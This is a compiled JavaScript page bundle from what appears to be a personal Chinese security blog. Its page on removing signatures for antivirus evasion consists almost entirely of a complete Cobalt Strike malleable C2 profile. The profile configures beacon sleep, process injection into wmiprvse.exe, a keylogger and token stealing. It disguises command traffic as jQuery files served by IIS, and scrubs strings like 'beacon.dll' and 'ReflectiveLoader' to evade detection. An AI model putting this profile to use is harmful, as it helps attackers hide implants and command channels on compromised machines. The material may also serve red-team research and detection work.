mirror of
https://github.com/wjlin0/wjlin0.github.io.git
synced 2026-10-27 19:10:50 +00:00
1 line
18 KiB
JavaScript
1 line
18 KiB
JavaScript
"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8876],{8352:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>i,default:()=>p,frontMatter:()=>o,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/README","title":"\u53bb\u7279\u5f81","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/06.\u514d\u6740/02.\u53bb\u7279\u5f81/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/06.\u514d\u6740/02.\u53bb\u7279\u5f81","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/06.\u514d\u6740/02.\u53bb\u7279\u5f81/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"fscan\u514d\u6740","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/fscan\u514d\u6740/"},"next":{"title":"\u57fa\u7ebf\u68c0\u67e5","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u57fa\u7ebf\u68c0\u67e5/"}}');var r=n(74848),a=n(28453);const o={},i="\u53bb\u7279\u5f81",c={},d=[{value:"\u524d\u8a00",id:"\u524d\u8a00",level:2},{value:"\u8fc7\u7a0b",id:"\u8fc7\u7a0b",level:2}];function l(e){const t={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,a.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u53bb\u7279\u5f81",children:"\u53bb\u7279\u5f81"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 00:35:51"})]})})]}),"\n",(0,r.jsx)(t.h1,{id:"hook",children:"Hook"}),"\n",(0,r.jsx)(t.h2,{id:"\u524d\u8a00",children:"\u524d\u8a00"}),"\n",(0,r.jsx)(t.h2,{id:"\u8fc7\u7a0b",children:"\u8fc7\u7a0b"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-profile",children:'# Author: Kleiton Kurti (@kleiton0x7e) & John Stigerwalt (@jstigerwalt1)\n### Auxiliary Settings ###\nset sample_name "Stigs Random C2 Profile";\nset host_stage "false"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.\nset useragent "<RAND>"; # "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0"; Use random Internet Explorer UA by default\nset create_remote_thread "true"; # Allow beacon to create threads in other processes\nset hijack_remote_thread "true"; # Allow beacon to run jobs by hijacking the primary thread of a suspeneded process\n### Beacon Sleep Settings ###\nset sleeptime "3000";\nset jitter "33"; # Default jitter factor (0-99%)\n### SMB Options ###\nset pipename "Winsock2\\\\CatalogChangeListener-###-0";\nset pipename_stager "TSVCPIPE-########-####-4###-####-############";\n### SSH BANNER ##\n\nset ssh_banner "Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-1065-aws x86_64)";\nset ssh_pipename "SearchTextHarvester##";\n\n ### Steal Token ###\nset steal_token_access_mask "11";\n ### Proxy Options ###\nset tasks_max_size "1604500";\n #set tasks_proxy_max_size "921600";\n #set tasks_dns_proxy_max_size "71680";\n ### Main HTTP Config Settings ###\nhttp-config {\n set headers "Date, Server, Content-Length, Keep-Alive, Contentnection, Content\x02Type";\n header "Server" "Apache";\n header "Keep-Alive" "timeout=10, max=100";\n header "Connection" "Keep-Alive";\n set trust_x_forwarded_for "true";\n set block_useragents "curl*,lynx*,wget*";\n}\n### HTTPS Cert Settings ###\nhttps-certificate {\n# Self Signed Certificate Options\n# set CN "*.azureedge.net";\n# set O "Microsoft Corporation";\n# set C "US";\n# set L "Redmond";\n# set ST "WA";\n# set OU "Organizational Unit";\n# set validity "365";\n# Imported Certificate Options\n# set keystore "domain.store";\n# set password "password";\n}\n# code-signer {\n# set keystore "keystore.jks";\n# set password "password";\n# set alias "server";\n# set digest_algorithm "SHA256";\n# set timestamp "false";\n# set timestamp_url "http://timestamp.digicert.com";\n#}\n### Post Exploitation Settings ###\npost-ex {\n set spawnto_x86 "%windir%\\\\syswow64\\\\wbem\\\\wmiprvse.exe -Embedding";\n set spawnto_x64 "%windir%\\\\sysnative\\\\wbem\\\\wmiprvse.exe -Embedding";\n set obfuscate "true";\n set smartinject "true";\n set amsi_disable "false";\n set keylogger "GetAsyncKeyState";\n set thread_hint "ntdll.dll!RtlUserThreadStart+0x1000";\n}\n### Process Injection ###\nprocess-inject {\n set allocator "NtMapViewOfSection"; # or VirtualAllocEx\n set bof_allocator "VirtualAlloc";\n set bof_reuse_memory "true";\n set min_alloc "24576";\n set startrwx "false";\n set userwx "false";\n transform-x86 {\n prepend\n "\\x44\\x40\\x4B\\x43\\x4C\\x48\\x90\\x66\\x90\\x0F\\x1F\\x00\\x66\\x0F\\x1F\\x04\\x00\\x0F\\x1F\\x04\\x00\\x0F\\x1F\\x00\\x0F\\x1F\\x00";\n }\n transform-x64 {\n prepend\n "\\x44\\x40\\x4B\\x43\\x4C\\x48\\x90\\x66\\x90\\x0F\\x1F\\x00\\x66\\x0F\\x1F\\x04\\x00\\x0F\\x1F\\x04\\x00\\x0F\\x1F\\x00\\x0F\\x1F\\x00";\n }\n execute {\n CreateThread "ntdll.dll!RtlUserThreadStart+0x1000";\n NtQueueApcThread-s;\n CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000";\n CreateRemoteThread;\n RtlCreateUserThread;\n SetThreadContext;\n }\n}\nhttp-get {\n set verb "GET"; # GET / POST\n set uri "/css3/index2.shtml"; # Can be space separated string. Each beacon will be assigned one of these when the stage is built\n client {\n header "Accept" "text/html, application/xhtml+xml, image/jxr, */*";\n header "Accept-Encoding" "gzip, deflate";\n header "Accept-Language" "en-US; q=0.7, en; q=0.3";\n header "Connection" "keep-alive";\n header "DNT" "1";\n metadata {\n base64url;\n parameter "accept";\n }\n }\n server {\n header "Content-Type" "application/yin+xml";\n header "Server" "IBM_HTTP_Server/6.0.2.19 Apache/2.0.47 (Unix) DAV/2";\n output{\n base64;\n print;\n }\n }\n}\nhttp-post {\n set verb "POST"; # GET / POST\n set uri "/tools/family.html";\n client {\n header "Accept" "text/html, application/xhtml+xml, */*";\n header "Accept-Encoding" "gzip, deflate";\n header "DNT" "1";\n header "Content-Type" "application/x-www-form-urlencoded";\n id {\n base64;\n prepend "token=";\n header "Cookie";\n }\n output{\n base64url;\n prepend "input=";\n print;\n }\n }\n server {\n header "Content-Type" "text/vnd.fly";\n header "Server" "IBM_HTTP_Server/6.0.2.19 Apache/2.0.47 (Unix) DAV/2";\n output {\n base64;\n print;\n }\n }\n}\n### Start of Real HTTP GET and POST settings ###\nhttp-get "msrpc-azure" { # Don\'t think of this in terms of HTTP POST, as a beacon transaction of pushing data to the server\n set uri "/compare/v1.44/VXK7P0GBE8"; # URI used for GET requests\n set verb "GET";\n client {\n header "Accept" "image/*, application/json, text/html";\n header "Accept-Language" "nb";\n header "Accept-Encoding" "br, compress";\n header "Access-X-Control" "True";\n metadata {\n mask; # Transform type\n base64url; # Transform type\n prepend "SESSIONID_XVQD0C55VSGX3JM="; # Cookie value\n header "Cookie"; # Cookie header\n }\n }\n server {\n header "Server" "Microsoft-IIS/10.0";\n header "X-Powered-By" "ASP.NET";\n header "Cache-Control" "max-age=0, no-cache";\n header "Pragma" "no-cache";\n header "Connection" "keep-alive";\n header "Content-Type" "application/javascript; charset=utf-8";\n output {\n mask; # Transform type\n base64url; # Transform type\n prepend "/*! jQuery v2.2.4 | (c) jQuery Foundation | jquery.org/license */ !function(a,b){\'object\'==typeof module&&\'object\'==typeof module.exp orts?module.exports=a.document?b(a,!0):function(a){if(!a.document)th row new Error(\'jQuery requires a window with a document\');return b(a )}:b(a)}(\'undefined\'!=typeof window?window:this,function(a,b){var c= [],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.t oString,k=i.hasOwnProperty,l={},m=\'2.2.4\',n=function(a,b){return new n.fn.init(a,b)},o=/^[suFEFFxA0]+|[suFEFFxA0]+$/g,p=/^-ms-/,q=/- ([da\x02z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype ={jquery:m,constructor:n,selector:\'\',length:0,toArray:function(){retu rn e.call(this)},get:function(a){return null!=a?0>a?this[a+this.lengt h]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.con structor(),a);return b.prevObject=this,b.context=this.context,b},each:"; append "/*! jQuery v3.4.1 | (c) JS Foundation and other contributors | jquery.org/license */ !function(e,t){\'use strict\';\'object\'==typeof module&&\'object\'==typeof module.exports? module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\'jQuery requires a window with a document\');return t(e)}:t(e)}(\'undefined\'!=typeof window?window :this,function(C,e){\'use strict\';var t=[],E=C.document,r=Object.getPrototypeOf,s=t.slice ,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l= a.call(Object),y={},m=function(e){return\'function\'==typeof e&&\'number\'!=typeof e.nodeType} ,x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};fun ction b(e,t,n){var r,i,o=(n=n||E).createElement(\'script\');if(o.text=e,t)for(r in c)(i=t[ r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode;";\n print;\n }\n }\n}\nhttp-post "msrpc-azure" { # Don\'t think of this in terms of HTTP POST, as a beacon transaction of pushing data to the server\n set uri "/Construct/v1.85/JDX894ZM2WF1"; # URI used for POST block.\n set verb "POST"; # HTTP verb used in POST block. Can be GET or POST\n client {\n header "Accept" "application/xml, application/xhtml+xml, application/json";\n header "Accept-Language" "tn";\n header "Accept-Encoding" "identity, *";\n header "Access-X-Control" "True";\n id {\n mask; # Transform type\n netbiosu; # Transform type\n parameter "_KZZUEUVN";\n }\n output {\n mask; # Transform type\n netbios; # Transform type\n print;\n }\n }\n server {\n header "Server" "Microsoft-IIS/10.0";\n header "X-Powered-By" "ASP.NET";\n header "Cache-Control" "max-age=0, no-cache";\n header "Pragma" "no-cache";\n header "Connection" "keep-alive";\n header "Content-Type" "application/javascript; charset=utf-8";\n output {\n mask; # Transform type\n netbiosu; # Transform type\n prepend "/*! jQuery UI - v1.12.1 - 2016-09-14 * http://jqueryui.com * Includes: widget.js, position.js, data.js, disable\x02selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect -fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effe cts/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-s ize.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mix in.js, jquery-1-7.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio. js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable .js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, w idgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, w idgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js * Copyright jQuery Foundation and other contributors; Licensed MIT */";\n append "/*! jQuery UI - v1.12.1 - 2016-09-14 * http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect\x02clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect -fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect\x02puff.js, effe cts/effect-pulsate.js, effects/effect-scale.js, effects/effect\x02shake.js, effects/effect-s ize.js, effects/effect-slide.js, effects/effect\x02transfer.js, focusable.js, form-reset-mix in.js, jquery-1-7.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio. js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable .js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, w idgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, w idgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js * Copyright jQuery Foundation and other contributors; Licensed MIT */";\n print;\n }\n }\n}\nstage {\n set checksum "0";\n set compile_time "5 May 2023 10:52:15";\n set entry_point "170000";\n #set image_size_x86 "6586368";\n #set image_size_x64 "6586368";\n set name "srv.dll";\n set magic_mz_x64 "OOPS";\n set magic_mz_x86 "OOPS";\n set userwx "false";\n set cleanup "true";\n set sleep_mask "true";\n set stomppe "true";\n set obfuscate "true";\n set rich_header "\\x92\\x75\\xde\\x7f\\xf0\\x62\\x4c\\xf0\\xc3\\x44\\x74\\\\x90\\x97\\x05\\xa2\\x3d\\xd2\\x18\\xab\\x08\\xaa\\xe9\\xcf\\x98\\x81";\n set sleep_mask "true";\n set smartinject "true";\n #set allocator "HeapAlloc";\n set magic_pe "EA";\n set module_x86 "wwanmm.dll";\n set module_x64 "wwanmm.dll";\n transform-x86 {\n prepend\n "\\x48\\x0f\\x1f\\x00\\x66\\x90\\x43\\x66\\x87\\xdb\\x66\\x87\\xd2\\x40\\x45\\x49\\x41\\x90\\x87\\xd2\\x47\\x87\\xdb\\x4c\\x0f\\x1f\\x00\\x0f\\x1f\\x00\\x66\\x87\\xc9\\x0f\\x1f\\x04\\x00\\x42\\x66\\x0f\\x1f\\x04\\x00\\x90\\x87\\xc9\\x44\\x46\\x40";\n strrep "This program cannot be run in DOS mode" ""; # Remove this text\n strrep "ReflectiveLoader" "";\n strrep "beacon.dll" "";\n strrep "beacon.dll" ""; # Remove this text\n strrep "msvcrt.dll" "";\n strrep "C:\\\\Windows\\\\System32\\\\msvcrt.dll" "";\n }\n transform-x64 {\n prepend\n "\\x48\\x0f\\x1f\\x00\\x66\\x90\\x43\\x66\\x87\\xdb\\x66\\x87\\xd2\\x40\\x45\\x49\\x41\\x87\\x90\\xd2\\x47\\x87\\xdb\\x4c\\x0f\\x1f\\x00\\x0f\\x1f\\x00\\x66\\x87\\xc9\\x0f\\x1f\\x04\\x00\\x42\\x66\\x0f\\x1f\\x04\\x00\\x90\\x87\\xc9\\x44\\x46\\x40";\n strrep "This program cannot be run in DOS mode" ""; # Remove this text\n strrep "ReflectiveLoader" "";\n strrep "beacon.x64.dll" "";\n strrep "beacon.dll" ""; # Remove this text\n strrep "msvcrt.dll" "";\n strrep "C:\\\\Windows\\\\System32\\\\msvcrt.dll" "";\n strrep "Stack around the variable" "";\n strrep "was corrupted." "";\n strrep "The variable" "";\n strrep "is being used without being initialized." "";\n strrep "The value of ESP was not properly saved across a function call. This is usually a result of calling a function declared with one calling convention with a function pointer declared" "";\n strrep "A cast to a smaller data type has caused a loss of data. If this was intentional, you should mask the source of the cast with the appropriate bitmask. For example:" "";\n strrep "Changing the code in this way will not affect the quality of the resulting optimized code." "";\n strrep "Stack memory was corrupted" "";\n strrep "A local variable was used before it was initialized" "";\n strrep "Stack memory around _alloca was corrupted" "";\n strrep "Unknown Runtime Check Error" "";\n strrep "Unknown Filename" "";\n strrep "Unknown Module Name" "";\n strrep "Run-Time Check Failure" "";\n strrep "Stack corrupted near unknown variable" "";\n strrep "Stack pointer corruption" "";\n strrep "Cast to smaller type causing loss of data" "";\n strrep "Stack memory corruption" "";\n strrep "Local variable used before initialization" "";\n strrep "Stack around" "corrupted";\n strrep "operator" "";\n strrep "operator co_await" "";\n strrep "operator<=>" "";\n }\n}\n'})})]})}function p(e={}){const{wrapper:t}={...(0,a.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(l,{...e})}):l(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>o,x:()=>i});var s=n(96540);const r={},a=s.createContext(r);function o(e){const t=s.useContext(a);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:o(e.components),s.createElement(a.Provider,{value:t},e.children)}}}]); |